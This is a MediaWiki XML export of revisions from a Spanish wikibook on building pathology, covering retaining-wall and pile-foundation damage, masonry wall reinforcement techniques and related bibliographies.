      <text bytes="559" sha1="3lannuwy0wrh5ft6537dib8xwnzvx55" xml:space="preserve">Los tirantes son piezas metálicas o de madera que se encargan de absorber tensiones en el muro y contrarrestar posibles deformaciones. Se pueden colocar de forma exterior y visible, o escondidos en el interior del muro.

Normalmente distinguimos dos elementos: los anclajes y el tirante propiamente dicho. El tirante trabaja a tracción, mientras que los anclajes recogen las tensiones de los muros. Hay que tener en cuenta que los anclajes suponen una tensión adicional en el muro, que tiene que tener una sección suficiente para soportarlas.

{{AutoCat}}</text>
      <sha1>3lannuwy0wrh5ft6537dib8xwnzvx55</sha1>
    </revision>
    <revision>
      <id>430157</id>
      <parentid>430154</parentid>
      <timestamp>2026-08-02T11:53:13Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430157</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="572" sha1="93m7aoelyat4xrfsjvjmx2rot3aoonv" xml:space="preserve">Los tirantes son piezas metálicas o de madera que se encargan de absorber tensiones en el muro y contrarrestar posibles deformaciones. Se pueden colocar de forma exterior y visible, o escondidos en el interior del muro.

Normalmente distinguimos dos elementos: los anclajes y el tirante propiamente dicho. El tirante trabaja a tracción, mientras que los anclajes recogen las tensiones de los muros. Hay que tener en cuenta que los anclajes suponen una tensión adicional en el muro, que tiene que tener una sección suficiente para soportarlas.

{{AutoCat}}

{{AutoCat}}</text>
      <sha1>93m7aoelyat4xrfsjvjmx2rot3aoonv</sha1>
    </revision>
    <revision>
      <id>430158</id>
      <parentid>430157</parentid>
      <timestamp>2026-08-02T11:53:30Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>430158</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="559" sha1="3lannuwy0wrh5ft6537dib8xwnzvx55" xml:space="preserve">Los tirantes son piezas metálicas o de madera que se encargan de absorber tensiones en el muro y contrarrestar posibles deformaciones. Se pueden colocar de forma exterior y visible, o escondidos en el interior del muro.

Normalmente distinguimos dos elementos: los anclajes y el tirante propiamente dicho. El tirante trabaja a tracción, mientras que los anclajes recogen las tensiones de los muros. Hay que tener en cuenta que los anclajes suponen una tensión adicional en el muro, que tiene que tener una sección suficiente para soportarlas.

{{AutoCat}}</text>
      <sha1>3lannuwy0wrh5ft6537dib8xwnzvx55</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cimentaciones/Muros/Lesiones</title>
    <ns>0</ns>
    <id>14162</id>
    <revision>
      <id>430123</id>
      <parentid>75297</parentid>
      <timestamp>2026-08-02T11:44:17Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430123</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="7291" sha1="hfirj54cc1ddilpxsgoit9adh04ev42" xml:space="preserve">='''LESIONES EN MUROS DE CONTENCION'''=

Por las características de los esfuerzos que deben soportar, estos sistemas son los que más problemas manifiestan. Son muchas las causas de los posibles fallos pero los síntomas que producen son muy precisos.

''VUELCO''

''DESPLOME''

''DESLIZAMIENTO''

''FISURAS Y GRIETAS''

''DEFORMACIONES''

''DEGRADACIONES DEL MATERIAL POR ATAQUE DEL MEDIO''

[[Imagen:mc1.jpg|300 px|]]
[[Imagen:2Mc2.jpg|300 px|]]


El colapso de este tipo de sistemas es muy frecuente, siendo el agua y la mala ejecución los factores más importantes implicados en ellos.


'''LESIONES ASOCIADAS A LA PROBLEMÁTICA EXPUESTA'''

: - '''Giro excesivo del muro'''

Este tipo de problema se produce cuando el muro se considera como un elemento rígido. Es por esta razón que las mayores lesiones suelen producirse en el resto de la estructura, provocando su movimiento, y sus consecuencias. Puede que se produzcan grietas verticales en el propio muro, en zonas proclives, como juntas de hormigonado o de dilatación.

[[Imagen:vuelco del muro.jpg]]


: - '''Desplazamiento del muro'''

Los síntomas derivados de estos deslizamientos se producen, al igual que en el caso de los giros, en la estructura general del edificio, no tanto en el muro propiamente dicho. De producirse daños en él, serían del mismo tipo que en lo giros del muro. En ambos casos se produciría un desplazamiento entre ambos paños de rotura.

[[Imagen:deslizamiento.jpg]]


: - '''Desplazamiento profundo del muro'''

Este tipo de problema en los muros se podría considerar una combinación de desplazamiento, giro y asiento del mismo, por lo que las mayores lesiones se producirían en el resto de la estructura, provocando incluso su colapso.


: - '''Deformación excesiva del alzado'''

A pesar de ser un fallo poco común en los muros, el síntoma más destacado es la aparición de grietas en la zona superior del trasdós del alzado.

[[Imagen:deformación en alzado.jpg]]


: - '''Fisuración excesiva'''

Este problema puede producir una serie de fisuras en las zonas de tracción (inferior del trasdós del alzado, superior del talón, e inferior de la puntera). Al producirse en las zonas de contacto con el terreno, son muy difíciles de observar a simple vista y por lo tanto, de diagnosticar.


: - '''Rotura por flexión'''

En general los esfuerzos de flexión pueden provocar en los muros de contención dos tipologías de grietas, unas de forma vertical en el intradós del muro, y dos por el trasdós del mismo, que no serían visibles. El resto de las roturas por flexión se producen en las zonas de tracción del muro, en la zapata y el trasdós del mismo, haciéndose imposible su observación directa.

[[Imagen:rotura por flexión.jpg]]


: - '''Rotura por esfuerzo cortante'''

Este tipo de solicitaciones pueden producir grietas en todas las zonas constituyentes del muro, alzado, puntera, talón y tacón, en las fibras traccionadas, que serían las que están en contacto con el terreno.


: - '''Rotura por esfuerzo rasante'''

Las roturas y posibles colapsos que estos esfuerzos producen se localizan en el arranque del alzado a partir de la zapata, debido a que es una zona débil del conjunto, debido a la junta de hormigonado obligada.


: - '''Rotura por fallo de solape'''

Estos fallos producen las mismas roturas que en el caso de los esfuerzos rasantes.


: - '''Asientos'''

Los asientos provocan en los muros roturas y colapsos, y no sólo en ellos sino también en la estructura que apoya en los mismos, con consecuencias en las fachadas, en las que aparecen grietas y fisuras que son consecuencia de la cimentación. Existen dos tipos de asientos, puntuales y continuos.


[[Imagen:asientos puntuales.jpg]]
[[Imagen:asientos continuos.jpg]]


: - '''Retracción hidráulica y térmica'''

La contracción térmica inicial provoca diversas fisuras. Unas tendrán una disposición vertical, y aparecerán de forma paralela en la base del muro. Aparecen una semana a partir del vertido del hormigón. Son comunes en elementos de espesor considerable, como es el caso de los muros de contención.
Otras fisuras también verticales, pero dispuestas desde el arranque del alzado hasta la parte superior del mismo, tendría causas distintas, a pesar de aparecer también aproximadamente en la semana posterior al hormigonado.
El tercer tipo de fisura susceptible de aparecer poseería un trazado horizontal, apareciendo una semana después de verter el hormigón, siendo más comunes en los elementos de un espesor importante.


[[Imagen:retracción inicial.jpg]]


: - '''Degradaciones del material por ataque del medio'''

El terreno es un medio que de por sí no ataca gravemente al hormigón si se ponen las medidas correctoras necesarias (impermeabilizantes, geotextiles, etc). Sin embargo, asociadas con grietas y fisuras pueden llevar a la penetración en el hormigón del agua del terreno y consecuentemente producir la corrosión de las armaduras, que, además de sufrir pérdidas mecánicas, reaccionarían dilatándose, y aumentando de volumen, haciendo mayor las grietas, pudiendo provocar mayores daños.


'''LESIONES EN MUROS DE CONTENCIÓN CON HORMIGÓN COMO MATERIAL DE EJECUCIÓN'''

Los muros de contención no dejan de ser construcciones, que en general se erigen mediante hormigón armado, por lo que sufriría las lesiones derivadas de la utilización del propio material.
En los muros de hormigón armado, las lesiones más frecuentes que solemos apreciar son:


=='''NIDOS DE GRAVA'''==

El vertido se ha segregado por la excesiva cantidad de árido y grueso.

[[Imagen:2Mc12.jpg|300 px|]]


=='''MANCHAS DE OXIDO'''==

Por la utilización de latiguillos separación de los encofrados y no utilizar separadores para mantener los recubrimientos de la armadura.

[[Imagen:2Mc13.jpg|300 px|]]


=='''FISURACIÓN GENERALIZADA'''==

Se manifiesta por una excesiva retracción plástica por la ausencia de armadura de retracción y temperatura.

[[Imagen:2Mc14.jpg|300 px|]]


=='''FISURACIÓN GENERALIZADA EN LA CORONACIÓN'''==

La mala relación agua/cemento con emigración del agua al realizar las tongadas

[[Imagen:2Mc15.jpg|300 px|]]


=='''FISURACIÓN VERTICAL GENERALIZADA'''==

Consecuencia de la falta de utilización de juntas de contracción o distancias excesivas.

[[Imagen:2Mc16.jpg|300 px|]]


=='''FISURAS LOCALIZADAS'''==

La colocación de escasa armadura horizontal bajo el pilar es la causante.

[[Imagen:2Mc17.jpg|300 px|]]


=='''FISURAS EN EL ARRANQUE'''==

Contracción térmica del alzado coartada por el cimiento ya enfriado. (El cimiento es poco rígido frente al alzado)

[[Imagen:2Mc18.jpg|300 px|]]


=='''FISURAS HORIZONTALES CERCA DEL PIE'''==

Contracción térmica del alzado coartada por el cimiento ya enfriado. (El cimiento de rigidez media frente al alzado)

[[Imagen:2Mc19.jpg|300 px|]]


=='''FISURAS VERTICALES CERCA DEL PIE'''==

Contracción térmica del alzado coartada por el cimiento ya enfriado. (El cimiento de rigidez muy alta frente al alzado)

[[Imagen:2Mc20.jpg|300 px|]]

=='''FISURAS EN EL LOMO DE LA CORONACIÓN'''==

Asiento plástico del hormigón en el lomo de la coronación. La posición de las armaduras se ve reflejada en las fisuras.

[[Imagen:2Mc21.jpg|300 px|]]

{{AutoCat}}</text>
      <sha1>hfirj54cc1ddilpxsgoit9adh04ev42</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cimentaciones/Muros/Problemática</title>
    <ns>0</ns>
    <id>14163</id>
    <revision>
      <id>430122</id>
      <parentid>75496</parentid>
      <timestamp>2026-08-02T11:44:10Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430122</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="6645" sha1="ir3msh50a3h7753mlnd8w58wktfwlvg" xml:space="preserve">==MUROS DE CIMENTACIÓN O DE CONTENCIÓN:==

'''INTRODUCCIÓN'''

Los sistemas de contención se dividen en dos grandes grupos: los MUROS DE CONTENCIÓN y las PANTALLAS O «MUROS PANTALLA».
La diferencia entre el muro y la pantalla reside, principalmente, en su forma de trabajar y de ahí se derivan sus posibles aplicaciones en la construcción. El muro de contención actúa, en esencia, por peso y forma, o sea, por esfuerzos normales al plano de su sección. Su realización es de escasa profundidad y por consiguiente funciona para uno o dos subsuelos. La pantalla, en cambio, funciona a flexión, es decir, soporta esfuerzos paralelos al plano de su sección. Es la solución más conveniente para excavaciones más profundas. Existen diferencias constructivamente también, ya que la pantalla es un elemento que se realiza antes del vaciado del terreno, sin embargo, para los muros de contención se realiza un vaciado previo del mismo, rellenándolo posteriormente con aportes nuevos de tierras una vez erigido el muro.

Existen diversos '''tipos de estructuras de contención''':

: a) Rígidas o muros

:: - De gravedad: Utilizados cuando se trata de una contención aislada, para soportar taludes.

:: - En ménsula: Con diversos tipos: con puntera (para sótanos), con talón (contención de tierras a un nivel más alto) y con puntera y talón.

:: - De contrafuertes: Cuando se contienen tierras con más de 8 metros de altura.

: b) Flexibles

:: - Pantallas: De pilotes, continuas, etc.

:: - Tierra armada: Las barras se soportan a si mismas mediante anclajes.


'''Partes integrantes de un muro de contención''':

[[Imagen:partes de muro.jpg]]

Las '''condiciones que deben cumplir las estructuras de contención''' son diversas:

: -Seguridad al vuelco
: -Seguridad al deslizamiento por la base
: -Seguridad ante la rotura del cimiento por la base
: -Transmitir al terreno sólo las tensiones admisibles 


'''PROBLEMAS ASOCIADOS A LOS MUROS'''[[Imagen:Agotamiento muros contencion.jpg|thumb|]]

El principal problema de los muros de contención es que son el elemento estructural de contacto con el terreno, sufriendo tanto las acciones de éste (no sólo mecánicas, sino alguna otra como humedades, etc), como también las del propio edificio. Probablemente sean los elementos estructurales que sufren una mayor problemática debido a esta razón. Son la principal causa de lesiones en los edificios. Los síntomas no sólo se podrían observar en el propio muro, sino también en el resto de la construcción. 

: - '''Giro excesivo del muro'''

Una de las principales características que debe cumplir un muro de contención es su estabilidad general, que evitaría la inclinación del mismo. Consiste en el vuelco del punto más alto respecto al punto más alejado de la zapata.

: - '''Desplazamiento del muro'''

Se consideraría un deslizamiento del mismo. Puede coincidir con movimientos entre estratos diferentes del terreno. La presencia de tacón en el muro favorece la resistencia del mismo a este tipo de problema.
		
: - '''Desplazamiento profundo del muro'''

Este problema consiste no sólo en un deslizamiento del muro, sino que el mismo también sufre un hundimiento así como un giro. Se debe a la formación de una superficie de deslizamiento profunda (coincidiendo con un estrato blando), de forma circular.

: - '''Deformación excesiva del alzado'''

Se trata de una problemática poco frecuente, ya que se produce cuando el muro es demasiado esbelto en la zona superior del alzado, algo poco común, ya que éstos están caracterizados por su peso, y éste no se logra de otro modo sino por volumen y anchura del mismo.

: - '''Fisuración excesiva'''

Producida en su mayor medida en las zonas de tracción (trasdós), es por ello que pueden ser causa de mayores problemas, ya que ésta es la parte del muro en contacto con el terreno, por lo tanto, más atacable.

: - '''Rotura por flexión'''

Este tipo de problema puede aparecer tanto en el alzado, como en la punta y el talón del muro. Normalmente los síntomas sólo podrían ser visibles en la zona de trasdós, por lo que no serían observables, hecho que puede ser motivo de colapso al no poder hacer frente al problema. Este hecho puede tener mayores consecuencias cuando las edificaciones se encuentren entre medianeras.

: - '''Rotura por esfuerzo cortante'''

Estos esfuerzos, como los de flexión, pueden producir roturas en diversas zonas del muro (alzado, puntera, talón y tacón). Este tipo de problemática y lo común que puede ser, desaconseja la utilización de la fábrica de ladrillo para las estructuras de contención, debido a su escasa resistencia a estos empujes.

: - '''Rotura por esfuerzo rasante'''

El síntoma principal de estos esfuerzos son la rotura del muro entre el alzado y la cimentación, en la zona de junta de hormigonado obligada, que es un punto muy sensible, y el que mayores esfuerzos sufre.

: - '''Rotura por fallo de solape'''

Es básicamente similar a la anterior, ya que el solape entre la armadura de la zapata debe anclarse con la zona del muro de contención, y es ésta la que soporta la mayor parte de los esfuerzos rasantes, así como muchos otros, como de flexión y de cortante.

: - '''Asientos'''

Aunque no se puede considerar una problemática que pueda causar una rotura en el muro (si no se trata de un asiento diferencial, sino de la totalidad del mismo), si podría causar graves problemas en el resto de la estructura del edificio. Ocurre como consecuencia de un exceso de cargas que el muro transmite al terreno.

: - '''Retracción hidráulica y térmica'''

Se producen en su mayor parte durante la fase de fraguado y endurecimiento del hormigón, en presencia de una armadura en sentido longitudinal escasa. También podrían incluirse en este grupo las roturas por dilatación y retracción del propio muro, cuando éste se encuentra sujeto en algún punto, como otro muro, o contrafuertes.

: - '''Rotura de esquinas'''

Este tipo de problemática se caracteriza por tener una inclinación entre 45 y 60º y están ubicadas en las zonas de las esquinas, cuando se encuentran dos muros perpendiculares. Serían producidas por una tracción horizontal. Las diferencias térmicas empeoran este tipo de síntomas.

:- '''Degradación del material por ataque del medio'''

Se podrían considerar estos problemas como consecuencia de los anteriores, ya que generalmente estas afecciones se intensifican debido a grietas y otro tipo de lesiones. Estas degradaciones son mucho más relevantes por el hecho de que el muro se encuentra en contacto con el terreno.

{{AutoCat}}</text>
      <sha1>ir3msh50a3h7753mlnd8w58wktfwlvg</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cimentaciones/Pilotes/Problemática</title>
    <ns>0</ns>
    <id>14164</id>
    <revision>
      <id>430125</id>
      <parentid>81986</parentid>
      <timestamp>2026-08-02T11:44:27Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430125</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2291" sha1="dbfbf8mskqb8jrmpoe65ndopzgmr0hd" xml:space="preserve">==Introducción: CIMENTACIONES PROFUNDAS: Pilotes, micropilotes, pozos y pantallas==

====CIMENTACIONES PROFUNDAS: CONTROL====
- Transfieren las cargas de cimentación a grandes profundidades

- Problemas de diseño y dimensionamiento

- Conocimiento del terreno (estratigrafía, resistencia punta, por fuste,               estabilidades, agresividad, sismicidad, expansividad, terrenos flojos, etc.

	- Solicitaciones verticales y horizontales: viento, sismo, laderas, etc.

	- Cargas de hundimiento, asientos. Grupo de pilotes.

====CIMENTACIONES PROFUNDAS: PROBLEMAS EJECUCIÓN.====
- Adecuación de forma de ejecución a naturaleza del terreno

- Pilotes desplazados: compactación lateral y levantamientos

- Perforados: 
	- Formación de cavidades en el terreno
	- Perdida de sección o corte de pilotes
- Contaminación de punta o fuste de hormigón (problemas de hormigonado con agua, lodos, etc.

- Problemas de alineamientos, excentricidades

- Armados de pilotes, encepados, vigas centradoras


== PROBLEMÁTICA ==


La problemática de las cimentaciones profundas está directamente ligada al '''desconocimiento''', tanto '''del tipo de suelo''' y su comportamiento ante diversos factores (cargas, asientos, acción del agua…), como '''del proceso de ejecución''' de los elementos (pilotes o pantallas) a gran profundidad.


Al contrario que en las cimentaciones superficiales, donde se extrae previamente el terreno antes de proceder a la ejecución, las cimentaciones profundas '''se realizan por completo bajo rasante'''. 


Tanto si el terreno se extrae (pilotes in situ y pantallas), como si se desplaza (pilotes prefabricados), éste sufre '''cambios de presión que afectan a su comportamiento''', provocando deformaciones que es necesario tener en cuenta.


En este mismo apartado, cabe indicar que la mayoría de las lesiones no se observan a simple vista, sino que, son detectadas a lo largo del tiempo por sus consecuencias (más o menos graves).


Por último, será imprescindible realizar un exhaustivo estudio geotécnico (utilizando distintos ensayos de reconocimiento) para elegir la '''cimentación más adecuada al tipo de suelo''', así como, llevar a cabo controles periódicos de calidad para asegurar la '''correcta ejecución en obra'''.

{{AutoCat}}</text>
      <sha1>dbfbf8mskqb8jrmpoe65ndopzgmr0hd</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de fábrica/Muros/Reparación/Refuerzo(externo)</title>
    <ns>0</ns>
    <id>14165</id>
    <revision>
      <id>430155</id>
      <parentid>64821</parentid>
      <timestamp>2026-08-02T11:52:52Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430155</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1558" sha1="rwzftbshjpjnm5euzl0i6bhrs5imdhj" xml:space="preserve">===Externo(exterior)===

=====[[Patología de la edificación/Estructuras de fábrica/Muros/Reparación/Revestimiento armado|Revestimiento armado]]=====

=====[[Patología de la edificación/Estructuras de fábrica/Muros/Reparación/Tirantes|Tirantes]]=====

=====[[Patología de la edificación/Estructuras de fábrica/Muros/Reparación/Cercos o arcos|Cercos o arcos]]=====

=====[[Patología de la edificación/Estructuras de fábrica/Muros/Reparación/Contrafuertes|Contrafuertes]]=====

===Interno(interior)===

=====Adición de una estructura paralela=====

Cuando un muro portante es incapaz de soportar las cargas, aun después de los procesos de consolidación, puede resolver el problema la adición de una estructura paralela que absorba el exceso de cargas, descargando el muro.

Una de las técnicas más utilizadas es la construcción de un muro adosado a la cara interior, permitiendo mantener la imagen externa del edificio. Hay que estudiar en este caso como garantizar la continuidad entre ambos muros y como colaborarán en la absorción de las tensiones.

En la actualidad existen infinidad de soluciones mediante la adición de estructuras  metálicas o de hormigón armado.

=====[[Patología de la edificación/Estructuras de fábrica/Muros/Reparación/Revestimiento armado|Revestimiento armado]]=====

=====[[Patología de la edificación/Estructuras de fábrica/Muros/Reparación/Tirantes|Tirantes]]=====

=====[[Patología de la edificación/Estructuras de fábrica/Muros/Reparación/Cercos o arcos|Cercos o arcos]]=====

{{AutoCat}}</text>
      <sha1>rwzftbshjpjnm5euzl0i6bhrs5imdhj</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de fábrica/Muros/Reparación/Revestimiento armado</title>
    <ns>0</ns>
    <id>14166</id>
    <revision>
      <id>430156</id>
      <parentid>64820</parentid>
      <timestamp>2026-08-02T11:53:08Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430156</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="415" sha1="oaj3paj3phwu94ptwzgc6u8ujpgk8o5" xml:space="preserve">La técnica del revestimiento consiste en construir a ambos lados del muro una placa de hormigón armado con malla electrosoldada de grosor superior a 5 cm. Para mejorar el contacto se realiza un picado previo del muro. Para mejorar la capacidad a compresión del muro es preciso conectar ambas caras del muro. La aplicación de este sistema en una sola cara del muro no produce una mejora estructural.

{{AutoCat}}</text>
      <sha1>oaj3paj3phwu94ptwzgc6u8ujpgk8o5</sha1>
    </revision>
    <revision>
      <id>430160</id>
      <parentid>430156</parentid>
      <timestamp>2026-08-02T11:53:38Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430160</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="428" sha1="bdx8b56oahan6l85ovhguixvkpchdl3" xml:space="preserve">La técnica del revestimiento consiste en construir a ambos lados del muro una placa de hormigón armado con malla electrosoldada de grosor superior a 5 cm. Para mejorar el contacto se realiza un picado previo del muro. Para mejorar la capacidad a compresión del muro es preciso conectar ambas caras del muro. La aplicación de este sistema en una sola cara del muro no produce una mejora estructural.

{{AutoCat}}

{{AutoCat}}</text>
      <sha1>bdx8b56oahan6l85ovhguixvkpchdl3</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de fábrica/Muros/Reparación/Contrafuertes</title>
    <ns>0</ns>
    <id>14167</id>
    <revision>
      <id>430159</id>
      <parentid>64826</parentid>
      <timestamp>2026-08-02T11:53:36Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430159</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="268" sha1="17ehc2hybjncw3v83r0r2gidd9cu4ll" xml:space="preserve">Los contrafuertes son elementos que, aplicados de forma puntual o lineal en el muro, absorben las tensiones y contrarrestan las deformaciones. Estos elementos trabajan a compresión trasladando los esfuerzos horizontales de forma oblicua hasta el terreno.

{{AutoCat}}</text>
      <sha1>17ehc2hybjncw3v83r0r2gidd9cu4ll</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cimentaciones/Muros/Bibliografía</title>
    <ns>0</ns>
    <id>14191</id>
    <revision>
      <id>430130</id>
      <parentid>75500</parentid>
      <timestamp>2026-08-02T11:45:07Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430130</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1465" sha1="mhesz1ysmfwblyaix8t1j27gxc77sky" xml:space="preserve">'''BIBLIOGRAFÍA'''


- ''NTE Acondicionamiento del terreno. Cimentaciones. Diseño, Cálculo, Construcción, Valoración, Control y Mantenimiento''. Editor: Ministerio de Fomento. Dirección General de la Vivienda, la Arquitectura y el Urbanismo, año 1996. ISBN (Obra completa): 84-7433-082-3. ISBN (Tomo): 84-7433-810-7.


- ''Mantenimiento de los edificios''. A. Olmeda, R. Sáez, S. Reques, F. Rico, A. Del Río. Editor: Colegio Oficial de Aparejadores y Arquitectos Técnicos de Madrid, año 1998. ISBN : 84-600-4948-5.


- ''Enciclopedia Broto de Patologías de la Construcción. Tomo VI. Patología de Cimentaciones''. Carles Broto. Editor: Structure, año 2005. ISBN (Obra completa): 84-96424-35-9. ISBN (Tomo): 84-96424-40-5.


- ''Diagnosis y causas en patología de la edificación''. MUÑOZ HIDALGO, Manuel. Editorial : Manuel Muñoz Hidalgo. Año : 1994. ISBN : 84-604-9013-0


- ''La rehabilitación de edificios urbanos: tecnologías para la recuperación''. BAGLIONI, A. Editorial : Gustavo Gili. Año : 1982. ISBN : 84-252-1371-1


- ''La cimentación''. RODRÍGUEZ ORTIZ, José María. Editorial : COAM. Año : 1984. ISBN : 84-85572-67-x


- ''Curso de patología: conservación y restauración de edificios''. VVAA. Editorial : COAM. Año : 1991 - 1995. ISBN : 84774400415


- ''Manual de Inspección Técnica de Edificios''. MONJO CARRIÓ, Juan y MALDONADO RAMOS, Luis. Editorial : Munilla-Lería. Año : 2002. ISBN : 84-89150-52-4

{{AutoCat}}</text>
      <sha1>mhesz1ysmfwblyaix8t1j27gxc77sky</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cimentaciones/Pilotes/Bibliografía</title>
    <ns>0</ns>
    <id>14192</id>
    <revision>
      <id>430131</id>
      <parentid>197797</parentid>
      <timestamp>2026-08-02T11:45:22Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430131</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1332" sha1="0em3i3ndnff4hacvvrtc5e5lymd9kmh" xml:space="preserve">'''BIBLIOGRAFÍA'''


- ''NTE Acondicionamiento del terreno. Cimentaciones. Diseño, Cálculo, Construcción, Valoración, Control y Mantenimiento''. Editor: Ministerio de Fomento. Dirección General de la Vivienda, la Arquitectura y el Urbanismo, año 1996. ISBN (Obra completa): 84-7433-082-3. ISBN (Tomo): 84-7433-810-7. 

.- http://www.construmatica.com/construpedia/Categor%C3%ADa:Normas_Tecnol%C3%B3gicas_en_la_Edificaci%C3%B3n
.- http://www.coaatm.es/detalle.aspx?CodContenido=558&amp;tipo=16

- ''Mantenimiento de los edificios''. A. Olmeda, R. Sáez, S. Reques, F. Rico, A. Del Río. Editor: Colegio Oficial de Aparejadores y Arquitectos Técnicos de Madrid, año 1998. ISBN : 84-600-4948-5.


- ''Enciclopedia Broto de Patologías de la Construcción. Tomo VI. Patología de Cimentaciones''. Carles Broto. Editor: Structure, año 2005. ISBN (Obra completa): 84-96424-35-9. ISBN (Tomo): 84-96424-40-5.


- '''Serrano Alcudia, F. (1988):''' PATOLOGÍA DE LAS CIMENTACIONES: EFECTOS DE LAS ARCILLAS EXPANSIVAS, CIMENTACIONES INADECUADAS. Ed. COAM, Madrid, 1988. ISBN 84-86891-00-0


- '''Logeais, L. (1984):''' PATOLOGÍA DE LAS CIMENTACIONES. Ed. Gustavo Gili. Barcelona, 1984. ISBN 84-252-1170-0


- '''AA.VV. (1990):''' CURSO DE PATOLOGÍA: CONSERVACIÓN Y RESTAURACIÓN DE EDIFICIOS (TOMO 2). COAM, Madrid, 1991.

{{AutoCat}}</text>
      <sha1>0em3i3ndnff4hacvvrtc5e5lymd9kmh</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cimentaciones/Pilotes/Lesiones</title>
    <ns>0</ns>
    <id>14193</id>
    <revision>
      <id>430126</id>
      <parentid>352846</parentid>
      <timestamp>2026-08-02T11:44:32Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430126</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="12570" sha1="2wv4722jlx1zqqv2oe2vgms26cc1eb4" xml:space="preserve">==LESIONES EN CIMENTACIONES PROFUNDAS==


===Pilotes que trabajan por rozamiento en el fuste===

Afectados por rellenos cercanos al mismo, ya que al asentarse el terreno, éste se cuelga del pilote proporcionándole un no deseado rozamiento negativo que disminuirá su capacidad portante al ser así sobrecargado, incidiendo además de forma desigual su influencia según la distancia al relleno.

===Pilotajes de trabajo en punta===

Aunque el rozamiento negativo puede ser absorbido por el pilote, el relleno exterior le producirá un empuje lateral que no puede ser tolerado por el pilote.
y mas

===Efecto de los anclajes bajo el edificio===

La puesta en carga de anclajes para anular empujes en muros de contención produce en el terreno compresiones entre el anclaje y el muro, y descompresión del suelo a partir del bulbo de anclaje. Si estos anclajes se sitúan por debajo de un edificio, esta descompresión puede producir daños en el mismo a causa de los asientos que se producirán en las cimentaciones situadas en su zona de influencia. Esta técnica profusamente utilizada para el anclaje provisional de muros pantalla en edificios de nueva planta con sótanos junto a edificios existentes que no la tienen, es peligrosa y necesita un cuidadoso estudio del suelo, distancia y profundiad de anclajes para evitar daños, aparte del permiso explícito del colindante.

===Lesiones producidas por losas junto a pilotajes===

El cambio de sistema de cimentaciópn de un edificio nuevoa con respecto al de un o existente colindante, puede acarrear complicaciones, aún cuando ninguno de ellos tenga sótano. Así por ejemplo, una cimentación flotante por losa realizada junto a un pilotaje, en determinadas situaciones de suelos, puede producir daños, no solo en el edficio existente sino también en el nuevo. Así, el nuevo edificio de cimentación flotante sobre losa transmite parte de su peso a los pilotes cercanos a través del rozamiento negativo. Se puede producir, por tanto, un asiento junto a la medianería en el edificio pilotado si el estrato de apoyo de los pilotes es suficientemente compresible. También el nuevo edificio de cimentación por losa tendrá un asiento mayor en la zona alejada de la medianería que en la cercana, pudiédose producir desplomes o fisuras.

==LESIONES EN CIMENTACIONES PILOTES==


===DAÑOS POR DESCONOCIMIENTO DEL COMPORTAMIENTO DE LOS SUELOS===


====''Asiento de conjunto''====
: Las cimentaciones profundas a base de pilotes se comportan como '''estructuras rígidas y resistentes''', que no permiten el asiento de un apoyo respecto a otro (como ocurre con los asientos diferenciales en las cimentaciones superficiales). 

: Pero hay que tener en cuenta que una construcción cargada, aunque se comporte de forma unitaria, será causante de un '''asiento de conjunto'''.

: Si la capa compresible del suelo tiene espesor constante y la construcción tiene un reparto homogéneo de cargas (cetro de gravedad de las cargas = centro de gravedad de la cimentación), '''el edificio asentará regularmente''' sin perder su verticalidad.

: [[Imagen:2.1a.jpg]]


====''Acción de pilotes agrupados''====
: Las '''presiones''' que genera un conjunto de pilotes son '''mucho mayores y alcanzan más profundidad''' que las provocadas por un pilote aislado. Además, si el terreno subyacente es blando, cabe esperar asientos considerables.
